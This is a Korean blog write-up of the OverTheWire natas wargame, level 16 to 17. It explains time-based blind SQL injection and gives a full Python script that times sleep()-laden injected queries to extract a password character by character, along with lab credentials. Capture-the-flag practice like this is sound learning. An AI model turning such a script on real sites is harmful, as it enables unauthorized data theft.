[natas - WEB hacking] level16 -> leve17
[ 풀이과정 ]
페이지를 접속해보니 username을 입력할수 있는 폼과 버튼이 있었다.
확인해보기 위해서 아무거나 입력해보니 아무내용도 출력이 되지 않았다...
페이지 소스를 확인해보니 해당 검색 결과를 출력해주는 코드가 주석 처리 되어있었다..
결과를 출력 해주는 echo 구문이 주석처리 되어있기 때문에 여기서는 time based SQL injection을 해야한다.
SQL에서 sleep()을 이용하면 되는데 해당 sleep() 명령이 실행 됬다는걸 판단하기 위해서
time 모듈을 사용해 sleep() 실행시간을 구해서 판단했다.
time.time()을 이용해서 끝나는 시간에서 시작 시간을 빼주고 sleep() 시간을 구해줬다.
time 모듈을 이용한 자동화 프로그램을 만들어서 해당 sleep()만큼 이후에 응답을 받았다면
sleep()이 실행된걸로 판단하고 패스워드를 구하게 된다...
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
natas17.py
import socket
import time
for i in range(1, 33):
ch = 48
for ch in range(48, 123):
if 58 <= ch <= 64: continue
if 91 <= ch <= 96: continue
if ch > 123: break
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ('176.9.9.172', 80) )
request_header = "GET /"
request_header += "?username=natas18%22%20and%20ord(mid((select%20password),"
request_header += str(i)
request_header += ",1))%20%3d%20" + str(ch) + "%20and%20sleep(5)%20%23"
request_header += " HTTP/1.1\r\n"
request_header += "Authorization:Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==\r\n"
request_header += "Host:natas17.natas.labs.overthewire.org\r\n"
request_header += "\r\n"
start = time.time()
sock.send( request_header.encode() )
response = sock.recv( 65535 ).decode()
end = time.time() - start
if int(end) == 5:
print( chr(ch), end='' )
sock.close()
break
ch = ch + 1
sock.close()
'워게임 > natas' 카테고리의 다른 글
[natas - WEB hacking] level18 -> leve19 (0) | 2017.10.08 |
---|---|
[natas - WEB hacking] level17 -> leve18 (0) | 2017.10.08 |
[natas - WEB hacking] level15 -> leve16 (0) | 2017.10.08 |
[natas - WEB hacking] level14 -> leve15 (0) | 2017.10.08 |
[natas - WEB hacking] level13 -> leve14 (0) | 2017.10.08 |
댓글